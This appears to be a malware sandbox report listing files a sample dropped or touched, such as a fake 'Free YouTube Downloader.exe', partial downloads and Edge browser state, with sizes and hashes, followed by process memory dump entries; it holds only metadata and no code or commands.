71701830bfbba69eae0b287ef4172edc18109ef69d23d39d6bba1cb06cc3e6241d5133ba7ebd164daedc7b9fbc587c0a463987c50ce663f674db1c139c7329fd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
22359da632e8701d2ab90c7c1ab31667

SHA1
1e3ddb73170879b67459a40c100afc38d3135262

SHA256
0ab6d8ab19b6b6abfe6de2ab52c4331a9b5cc201a8908239e56f9e86247859bf

SHA512
6a27352bd7d3b4ff54fb046a6096d0068653b1478d96037d2698a4f9b632fd7f3966bbb9aa259ceeccc42f90de6fc10b88e3c46311625c35585b0708ed6ec091

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
e4b3e644e5e9cd66387575ed95cd911c

SHA1
1da240c68a63261dc6acdb069dde29c1dae23406

SHA256
aa8e3bd1c499835f868bf33e4fcffd8f927abf25b1380f0cae526749799654b6

SHA512
1e06b37bbae1fd71e71ce221bf2c90e8b58bf9c2957eb69315f2c9b12e03bf89d02a46b3835e57f3c3f12bc410b763de63126b4fb1b22bbf7774609d14fb11f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
d537c038e3d17609aba3de096cfd9214

SHA1
a4cd312afae9e32baf9360ede872a919c6a343a0

SHA256
bdc3623c477fdcba54edb88202250791be0ca56e24617272ff166c83ef024958

SHA512
6a6a34bf5d44d0e60328b771faa7a48416cd71bd809717252f0956065dcda4ae82072d383f84196c79c9c077315d36940750650c1cde7135baec84a6736e569e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
dc4d0ad5586af230bf895840f7dc86f2

SHA1
39566ec1aaccc64c12491af044df6ca9da2be78d

SHA256
957cb1a24e6e56c72317cdc3dfe8a38d28b5d3d029fea692ba304ce82e5493dd

SHA512
8025717bc15f9ad94b92b31c743231abdf6ef37bae8a38d433713ccfa3dd685c712d79ec4db8fa7eae1f60d4566bcb58633a1250a8384f336e00e1a1c81f8f86

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
9fca4a8602dc07ae4826ecf36efb2be0

SHA1
00ba94c0ef967e0bdc7a43717b9d191699d0ab4e

SHA256
2cf6f21a72f1bf80fc93ed9832a4c469abe6fad25977a3b1f960d001b6e3d2d6

SHA512
e2f53b88fd1be02c2102cee402870648c552f86d9e50a2b7f129a9ecd70db68a59faa72cf45ae65758a130b9bce95a802a4c28ca38e8e2712ceae7c59999dce1

Download Submit
C:\Users\Admin\AppData\Local\Temp\5a530dfd-bc51-4992-a05d-f09d41a331d4\AgileDotNetRT64.dll

Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5k0ixovy.31t.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

Filesize
10KB

MD5
61fb41ff8779a49be3806db7f6bcd864

SHA1
6889b7bd1c11a565f665e14c88f061d257841c36

SHA256
5b51ab833f6aee8d121819330e48d979e6998eb07eb70c52dbaf13941b9ac803

SHA512
fd0a8071bfcc4295fdbcce52f0c45acd5f217fc58569ffa9df91fd2674e8e06c6d8b77f89f8e47fa1bffaad7157b0a7ce697a8e4128bcd408456a0391dedcfd4

Download Submit
C:\Users\Admin\Downloads\Alerta.exe:Zone.Identifier

Filesize
55B

MD5
0f98a5550abe0fb880568b1480c96a1c

SHA1
d2ce9f7057b201d31f79f3aee2225d89f36be07d

SHA256
2dfb5f4b33e4cf8237b732c02b1f2b1192ffe4b83114bcf821f489bbf48c6aa1

SHA512
dbc1150d831950684ab37407defac0177b7583da0fe13ee8f8eeb65e8b05d23b357722246888189b4681b97507a4262ece96a1c458c4427a9a41d8ea8d11a2f6

Download Submit
C:\Users\Admin\Downloads\Melting.exe

Filesize
12KB

MD5
833619a4c9e8c808f092bf477af62618

SHA1
b4a0efa26f790e991cb17542c8e6aeb5030d1ebf

SHA256
92a284981c7ca33f1af45ce61738479fbcbb5a4111f5498e2cb54931c8a36c76

SHA512
4f231fc16339d568b5cf9353133aeae835eb262dab68bc80d92f37b43df64dce4fae0e913cbaa3bb61351a759aeecf9d280bc5779b0853c980559a654d6cca11

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 141461.crdownload

Filesize
1.9MB

MD5
faa6cb3e816adaeaabf2930457c79c33

SHA1
6539de41b48d271bf4237e6eb09b0ee40f9a2140

SHA256
6680317e6eaa04315b47aaadd986262cd485c8a4bd843902f4c779c858a3e31b

SHA512
58859556771203d736ee991b651a6a409de7e3059c2afe81d4545864295c383f75cfbabf3cffaa0c412a6ec27bf939f0893c28152f53512c7885e597db8d2c66

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 37080.crdownload

Filesize
3.0MB

MD5
b6d61b516d41e209b207b41d91e3b90d

SHA1
e50d4b7bf005075cb63d6bd9ad48c92a00ee9444

SHA256
3d0efd55bde5fb7a73817940bac2a901d934b496738b7c5cab7ea0f6228e28fe

SHA512
3217fc904e4c71b399dd273786634a6a6c19064a9bf96960df9b3357001c12b9547813412173149f6185eb5d300492d290342ec955a8347c6f9dcac338c136da

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 389960.crdownload

Filesize
321KB

MD5
600e0dbaefc03f7bf50abb0def3fb465

SHA1
1b5f0ac48e06edc4ed8243be61d71077f770f2b4

SHA256
61e6a93f43049712b5f2d949fd233fa8015fe4bef01b9e1285d3d87b12f894f2

SHA512
151eebac8f8f6e72d130114f030f048dff5bce0f99ff8d3a22e8fed7616155b3e87d29acf79f488d6b53ed2c5c9b05b57f76f1f91a568c21fe9bca228efb23d9

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 468413.crdownload

Filesize
381KB

MD5
35a27d088cd5be278629fae37d464182

SHA1
d5a291fadead1f2a0cf35082012fe6f4bf22a3ab

SHA256
4a75f2db1dbd3c1218bb9994b7e1c690c4edd4e0c1a675de8d2a127611173e69

SHA512
eb0be3026321864bd5bcf53b88dc951711d8c0b4bcbd46800b90ca5116a56dba22452530e29f3ccbbcc43d943bdefc8ed8ca2d31ba2e7e5f0e594f74adba4ab5

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 497447.crdownload

Filesize
43KB

MD5
b2eca909a91e1946457a0b36eaf90930

SHA1
3200c4e4d0d4ece2b2aadb6939be59b91954bcfa

SHA256
0b6c0af51cde971b3e5f8aa204f8205418ab8c180b79a5ac1c11a6e0676f0f7c

SHA512
607d20e4a46932c7f4d9609ef9451e2303cd79e7c4778fe03f444e7dc800d6de7537fd2648c7c476b9f098588dc447e8c39d8b21cd528d002dfa513a19c6ebbf

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 605543.crdownload

Filesize
396KB

MD5
13f4b868603cf0dd6c32702d1bd858c9

SHA1
a595ab75e134f5616679be5f11deefdfaae1de15

SHA256
cae57a60c4d269cd1ca43ef143aedb8bfc4c09a7e4a689544883d05ce89406e7

SHA512
e0d7a81c9cdd15a4ef7c8a9492fffb2c520b28cebc54a139e1bffa5c523cf17dfb9ffe57188cf8843d74479df402306f4f0ce9fc09d87c7cca92aea287e5ff24

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 790000.crdownload

Filesize
68KB

MD5
bc1e7d033a999c4fd006109c24599f4d

SHA1
b927f0fc4a4232a023312198b33272e1a6d79cec

SHA256
13adae722719839af8102f98730f3af1c5a56b58069bfce8995acd2123628401

SHA512
f5d9b8c1fd9239894ec9c075542bff0bcef79871f31038e627ae257b8c1db9070f4d124448a78e60ccc8bc12f138102a54825e9d7647cd34832984c7c24a6276

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 810832.crdownload

Filesize
373KB

MD5
9c3e9e30d51489a891513e8a14d931e4

SHA1
4e5a5898389eef8f464dee04a74f3b5c217b7176

SHA256
f8f7b5f20ca57c61df6dc8ff49f2f5f90276a378ec17397249fdc099a6e1dcd8

SHA512
bf45677b7dd6c67ad350ec6ecad5bc3f04dea179fae0ff0a695c69f7de919476dd7a69c25b04c8530a35119e4933f4a8c327ed6dcef892b1114dfd7e494a19a7

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 878331.crdownload

Filesize
89KB

MD5
86d68c9cdc087c76e48a453978b63b7c

SHA1
b8a684a8f125ceb86739ff6438d283dbafda714a

SHA256
df51babc1547a461656eaef01b873a91afcf61851b6f5ef06977e1c33e1b5f32

SHA512
dd627f071d994999172048f882ba61407461633634fdb2a3f2b8e6abff6324cc0d78682b5adc4aa4083e5baa1c981687f5c516d9e075eb00dfb58364cee1db04

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 89574.crdownload

Filesize
111KB

MD5
e8ed8aaf35e6059ba28504c19ff50bab

SHA1
01412235baf64c5b928252639369eea4e2ba5192

SHA256
2d2a22db20a44474afbd7b0e6488690bad584dcae9789a5db776cc1a00b98728

SHA512
d007c96b2fad26763d27be8447ca65e0ab890deb6388b90cf83c0b3431e09b225f7424098927b54f15fe34eae953b61b45371b0df4b2d89c60be9c006ffe9034

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 89574.crdownload:SmartScreen

Filesize
7B

MD5
4047530ecbc0170039e76fe1657bdb01

SHA1
32db7d5e662ebccdd1d71de285f907e3a1c68ac5

SHA256
82254025d1b98d60044d3aeb7c56eed7c61c07c3e30534d6e05dab9d6c326750

SHA512
8f002af3f4ed2b3dfb4ed8273318d160152da50ee4842c9f5d9915f50a3e643952494699c4258e6af993dc6e1695d0dc3db6d23f4d93c26b0bc6a20f4b4f336e

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 992929.crdownload

Filesize
424KB

MD5
e263c5b306480143855655233f76dc5a

SHA1
e7dcd6c23c72209ee5aa0890372de1ce52045815

SHA256
1f69810b8fe71e30a8738278adf09dd982f7de0ab9891d296ce7ea61b3fa4f69

SHA512
e95981eae02d0a8bf44493c64cca8b7e50023332e91d75164735a1d0e38138f358100c93633ff3a0652e1c12a5155cba77d81e01027422d7d5f71000eafb4113

Download Submit
C:\Windows\Free Youtube Downloader\Free Youtube Downloader\Free YouTube Downloader.exe

Filesize
153KB

MD5
f33a4e991a11baf336a2324f700d874d

SHA1
9da1891a164f2fc0a88d0de1ba397585b455b0f4

SHA256
a87524035509ff7aa277788e1a9485618665b7da35044d70c41ec0f118f3dfd7

SHA512
edf066968f31451e21c7c21d3f54b03fd5827a8526940c1e449aad7f99624577cbc6432deba49bb86e96ac275f5900dcef8d7623855eb3c808e084601ee1df20

Download Submit
memory/1532-2601-0x0000020DE7730000-0x0000020DE775E000-memory.dmp

Filesize
184KB

Download
memory/2964-2840-0x0000000000670000-0x00000000006E4000-memory.dmp

Filesize
464KB

Download
memory/3140-2819-0x00000000058C0000-0x00000000058CA000-memory.dmp

Filesize
40KB

Download
memory/3140-2818-0x0000000000EE0000-0x0000000000F52000-memory.dmp

Filesize
456KB

Download
memory/3140-2820-0x0000000005BE0000-0x0000000005C36000-memory.dmp

Filesize
344KB

Download
memory/5040-2688-0x0000000000400000-0x0000000000553000-memory.dmp

Filesize
1.3MB

Download
memory/5040-2690-0x0000000000400000-0x0000000000553000-memory.dmp

Filesize
1.3MB

Download
memory/5560-2681-0x00000000052C0000-0x00000000052E8000-memory.dmp

Filesize
160KB

Download
memory/5560-2676-0x0000000000170000-0x00000000001C6000-memory.dmp

Filesize
344KB

Download
memory/5560-2677-0x0000000005540000-0x0000000005AE6000-memory.dmp

Filesize
5.6MB

Download
memory/5560-2678-0x0000000004F30000-0x0000000004FC2000-memory.dmp

Filesize
584KB

Download
memory/5560-2679-0x0000000004F00000-0x0000000004F08000-memory.dmp

Filesize
32KB

Download
memory/5560-2680-0x0000000005360000-0x00000000053FC000-memory.dmp

Filesize
624KB

Download
memory/6616-2434-0x0000000000350000-0x000000000037A000-memory.dmp

Filesize
168KB

Download
memory/6616-2440-0x00007FFEC9240000-0x00007FFEC938F000-memory.dmp

Filesize
1.3MB

Download
memory/6616-2442-0x000000001D2B0000-0x000000001D7D8000-memory.dmp

Filesize
5.2MB

Download
memory/6616-2441-0x000000001CBB0000-0x000000001CD72000-memory.dmp

Filesize
1.8MB

Download
memory/6680-2395-0x000000001B9D0000-0x000000001BA76000-memory.dmp

Filesize
664KB

Download
memory/6680-2399-0x000000001C740000-0x000000001C78C000-memory.dmp

Filesize
304KB

Download
memory/6680-2396-0x000000001BF50000-0x000000001C41E000-memory.dmp

Filesize
4.8MB

Download
memory/6680-2397-0x000000001C4E0000-0x000000001C57C000-memory.dmp

Filesize
624KB

Download
memory/6680-2398-0x0000000001280000-0x0000000001288000-memory.dmp

Filesize
32KB

Download
memory/6936-2988-0x0000000000400000-0x00000000004DF000-memory.dmp

Filesize
892KB

Download
memory/6936-2999-0x0000000000400000-0x00000000004DF000-memory.dmp

Filesize
892KB

Download
memory/6936-2998-0x0000000000400000-0x00000000004DF000-memory.dmp

Filesize
892KB

Download
memory/7352-2750-0x0000000000400000-0x0000000000ABC000-memory.dmp

Filesize
6.7MB

Download
memory/7352-2754-0x0000000000400000-0x0000000000ABC000-memory.dmp

Filesize
6.7MB

Download
memory/7352-2853-0x0000000000400000-0x0000000000ABC000-memory.dmp

Filesize
6.7MB

Download
memory/7352-2850-0x0000000000400000-0x0000000000ABC000-memory.dmp

Filesize
6.7MB

Download
memory/7352-2414-0x0000000000400000-0x0000000000ABC000-memory.dmp

Filesize
6.7MB

Download
memory/7352-2830-0x0000000000400000-0x0000000000ABC000-memory.dmp

Filesize
6.7MB

Download
memory/7352-2731-0x0000000000400000-0x0000000000ABC000-memory.dmp

Filesize
6.7MB

Download
memory/7352-2751-0x0000000000400000-0x0000000000ABC000-memory.dmp

Filesize
6.7MB

Download
memory/7352-2852-0x0000000000400000-0x0000000000ABC000-memory.dmp

Filesize
6.7MB

Download
memory/7352-2851-0x0000000000400000-0x0000000000ABC000-memory.dmp

Filesize
6.7MB

Download
memory/7352-2812-0x0000000000400000-0x0000000000ABC000-memory.dmp

Filesize
6.7MB

Download
memory/7352-2782-0x0000000000400000-0x0000000000ABC000-memory.dmp

Filesize
6.7MB

Download
memory/7352-2444-0x0000000000400000-0x0000000000ABC000-memory.dmp

Filesize
6.7MB

Download
memory/7352-2443-0x0000000000400000-0x0000000000ABC000-memory.dmp

Filesize
6.7MB

Download
memory/7888-3055-0x0000000000570000-0x0000000000580000-memory.dmp

Filesize
64KB

Download
memory/7932-2600-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/8020-1934-0x0000029AAB410000-0x0000029AAB432000-memory.dmp

Filesize
136KB

Download